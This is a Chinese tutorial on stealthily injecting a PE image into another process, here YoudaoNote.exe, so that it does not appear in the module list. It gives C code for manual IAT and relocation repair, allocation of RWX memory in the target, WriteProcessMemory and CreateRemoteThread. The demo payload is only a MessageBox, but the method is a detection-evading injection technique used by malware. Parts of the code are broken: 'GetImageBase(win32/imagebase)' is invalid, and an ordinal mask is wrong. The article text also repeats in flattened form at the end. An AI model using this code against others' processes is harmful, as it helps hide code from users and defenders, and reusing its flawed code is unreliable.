通过内存写入隐藏模块
字数 986 2025-08-09 13:33:42

通过内存写入隐藏模块的技术详解

前言

传统的DLL注入技术(如全局钩子注入、远程线程注入等)会在目标进程的导入表中留下明显的痕迹。本文将介绍一种更隐蔽的注入技术——通过内存写入隐藏模块,这种方法不会在导入表中留下痕迹,提高了隐蔽性。

基础知识

重定位表(Relocation Table)

重定位表用于在程序加载到内存时进行内存地址修正。当加载器分配的基址与PE文件默认的ImageBase不同时,需要修正所有"写死"的绝对地址。

示例场景

  • test.exe的ImageBase为0x400000
  • a.dll、b.dll、c.dll的ImageBase均为0x1000000
  • 如果a.dll先加载到0x1000000,b.dll需要重新分配到0x1200000
  • b.dll中的call 0x01034560需要修正为0x01234560

PE文件结构

  1. DOS头

    • MZ头(IMAGE_DOS_HEADER)
    • DOS存根(兼容DOS程序)
  2. PE头

    • PE标识(IMAGE_NT_SIGNATURE)
    • 文件头(IMAGE_FILE_HEADER)
    • 可选头(IMAGE_OPTIONAL_HEADER32)
  3. 节表

    • 由N个IMAGE_SECTION_HEADER组成
    • 描述各节的属性、文件位置、内存位置等
  4. 节表数据

    • 实际程序数据部分

导入表与IAT表

导入表结构

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD Characteristics;
        DWORD OriginalFirstThunk; //指向INT表
    };
    DWORD TimeDateStamp;
    DWORD ForwarderChain;
    DWORD Name; //指向DLL名称
    DWORD FirstThunk; //指向IAT表
} IMAGE_IMPORT_DESCRIPTOR;

IAT表特点

  • 加载前:存放函数名称,指向IMAGE_IMPORT_BY_NAME结构
  • 加载后:存放函数实际地址

实现过程

1. 修复IAT表

DWORD WINAPI FixIATTable(LPVOID ImageBase) {
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pNTHeader + 4 + IMAGE_SIZEOF_FILE_HEADER);
    
    // 获取导入表
    PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
    
    while (pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk) {
        // 加载DLL
        const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
        HMODULE hModule = LoadLibraryA(pModuleAddr);
        
        // 处理INT和IAT表
        PDWORD OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
        PDWORD FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
        
        while (*OriginalFirstThunk) {
            DWORD dwFuncAddr = 0;
            if (*OriginalFirstThunk & 0x80000000) {
                // 序号导入
                DWORD Original = *OriginalFirstThunk & 0xFFF;
                dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
            } else {
                // 名称导入
                PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
                dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
            }
            *FirstThunk = dwFuncAddr;
            OriginalFirstThunk++;
            FirstThunk++;
        }
        pIMPORT_DESCRIPTOR++;
    }
    return 1;
}

2. 修复重定位表

void FixRelocationTable(LPVOID pAddr, LPVOID pExAddr) {
    PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
    
    while (pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0) {
        DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
        PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
        
        for (int i = 0; i < sizeOfWord; i++) {
            if (*pWord >> 12 != 0) {
                PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
                *offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
                pWord++;
                continue;
            }
            pWord++;
        }
        pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
    }
}

3. 完整注入流程

VOID inject(LPCWSTR InjetName) {
    // 1. 获取目标进程信息
    WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
    DWORD dwPid = GetPid(ProcessName);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
    
    // 2. 获取关键函数地址
    HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
    pLoadLibrary MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
    pGetProcAddress pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
    
    // 3. 计算函数偏移
    DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
    DWORD dwTemp = (DWORD)ThreadProc;
    if (*((char*)dwTemp) == (char)0xE9) {
        dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
    }
    DWORD pFun = dwTemp - CurrentImageBase;
    
    // 4. 加载自身镜像
    LPVOID pImageBuff = LoadImageBuffSelf();
    DWORD SizeofImage = GetSizeOfImage(pImageBuff);
    DWORD ImageBase = GetImageBase(pImageBuff);
    
    // 5. 在目标进程申请空间
    LPVOID pAlloc = NULL;
    for (DWORD i = 0; pAlloc == NULL; i += 0x10000) {
        pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
    
    // 6. 修复重定位表
    if ((DWORD)pAlloc != ImageBase) {
        ChangeImageBase(pImageBuff, (DWORD)pAlloc);
    }
    
    // 7. 写入目标进程
    WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL);
    
    // 8. 创建远程线程执行
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL);
}

实现效果

注入到"有道云笔记"进程后:

  1. 首先弹出一个MessageBox确认框
  2. 之后每隔一秒弹出一个"内存写入"的MessageBox
  3. 在进程模块列表中看不到注入的DLL,实现了隐蔽注入

关键点总结

  1. 重定位修复:必须正确处理重定位表,修正所有绝对地址引用
  2. IAT修复:需要重建导入地址表,确保所有API调用能正确解析
  3. 内存分配:在目标进程中分配足够空间存放整个PE映像
  4. 地址修正:计算正确的函数偏移,确保远程线程能正确执行
  5. 隐蔽性:不依赖LoadLibrary,不在导入表中留下痕迹

这种技术比传统注入方法更隐蔽,但实现复杂度更高,需要深入理解PE文件结构和内存管理机制。

通过内存写入隐藏模块的技术详解 前言 传统的DLL注入技术(如全局钩子注入、远程线程注入等)会在目标进程的导入表中留下明显的痕迹。本文将介绍一种更隐蔽的注入技术——通过内存写入隐藏模块,这种方法不会在导入表中留下痕迹,提高了隐蔽性。 基础知识 重定位表(Relocation Table) 重定位表用于在程序加载到内存时进行内存地址修正。当加载器分配的基址与PE文件默认的ImageBase不同时,需要修正所有"写死"的绝对地址。 示例场景 : test.exe的ImageBase为0x400000 a.dll、b.dll、c.dll的ImageBase均为0x1000000 如果a.dll先加载到0x1000000,b.dll需要重新分配到0x1200000 b.dll中的call 0x01034560需要修正为0x01234560 PE文件结构 DOS头 : MZ头(IMAGE_ DOS_ HEADER) DOS存根(兼容DOS程序) PE头 : PE标识(IMAGE_ NT_ SIGNATURE) 文件头(IMAGE_ FILE_ HEADER) 可选头(IMAGE_ OPTIONAL_ HEADER32) 节表 : 由N个IMAGE_ SECTION_ HEADER组成 描述各节的属性、文件位置、内存位置等 节表数据 : 实际程序数据部分 导入表与IAT表 导入表结构 : IAT表特点 : 加载前:存放函数名称,指向IMAGE_ IMPORT_ BY_ NAME结构 加载后:存放函数实际地址 实现过程 1. 修复IAT表 2. 修复重定位表 3. 完整注入流程 实现效果 注入到"有道云笔记"进程后: 首先弹出一个MessageBox确认框 之后每隔一秒弹出一个"内存写入"的MessageBox 在进程模块列表中看不到注入的DLL,实现了隐蔽注入 关键点总结 重定位修复 :必须正确处理重定位表,修正所有绝对地址引用 IAT修复 :需要重建导入地址表,确保所有API调用能正确解析 内存分配 :在目标进程中分配足够空间存放整个PE映像 地址修正 :计算正确的函数偏移,确保远程线程能正确执行 隐蔽性 :不依赖LoadLibrary,不在导入表中留下痕迹 这种技术比传统注入方法更隐蔽,但实现复杂度更高,需要深入理解PE文件结构和内存管理机制。